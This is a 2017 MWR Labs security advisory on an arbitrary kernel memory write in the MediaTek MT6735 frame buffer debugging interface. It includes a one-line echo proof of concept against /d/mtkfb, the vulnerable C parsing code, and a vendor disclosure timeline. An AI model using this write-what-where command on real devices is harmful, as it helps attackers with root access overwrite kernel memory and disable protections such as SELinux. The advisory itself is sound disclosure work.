MWR LABS

Security Advisory

MediaTek Frame Buffer Debugging Interface Arbitrary Memory Overwrite

11/05/2017

Software	MediaTek Frame Buffer Debugging Interface
Affected Versions	MediaTek 6735
Author	Mateusz Fruba
Severity	Medium
Vendor	MediaTek
Vendor Response	Fix Released

Description:

MediaTek is a company that provides system-on-chip solutions for wireless communications, HDTV, DVD and Blu-ray. A number of MediaTek clients including Huawei, and Neffos were found to be affected by a vulnerability in the MediaTek Frame Buffer Debugging Interface code.

The '/d/mtkfb' file provides a framebuffer debugging interface which allows the root user to query and configure various frame buffer options. It was found that the 'regw' command can be abused for overwriting arbitrary kernel memory.

Impact:

Local attackers who gain root access can exploit this issue to gain additional capabilities and disable security mechanisms such as SELinux.

Cause:

This vulnerability is due to insufficient input validation of user supplied data.

Solution:

MediaTek clients can receive the security fix directly from the vendor.

Technical details

Using the ‘regw’ command we can write overwrite arbitrary kernel memory. This can be abused as follows:

```
echo -n "regw:0xFFFFFFC00029A514:0xaa0103e1" > /d/mtkfb
```

As shown in code below, user supplied data is parsed as two separate unsigned long values. One of these values will be used as the destination address and second will be used as a value. This provides an attacker with an arbitrary write-what-where exploitation primitive.

```
static void process_dbg_opt(const char *opt)
{
	...
	else if (0 == strncmp(opt, "regw:", 5))
	{
		char *p = (char *)opt + 5;
		unsigned long addr = simple_strtoul(p, &p, 16);
		unsigned long val = simple_strtoul(p + 1, &p, 16);

		if (addr) {
			OUTREG32(addr, val);
		}
		else {
			return;
		}
	}
	...
}
```

Detailed Timeline

Date	Summary
2016-10-22	Issue reported to MediaTek.
2016-11-16	MediaTek responded with confirmation of the issue.
2016-11-25	MWR queried MediaTek for the issue status and patch release plan.
2017-03-30	MWR queried MediaTek for the issue status and patch release plan.
2017-03-30	MediaTek confirmed that issue was fixed and a patch was available to its customers.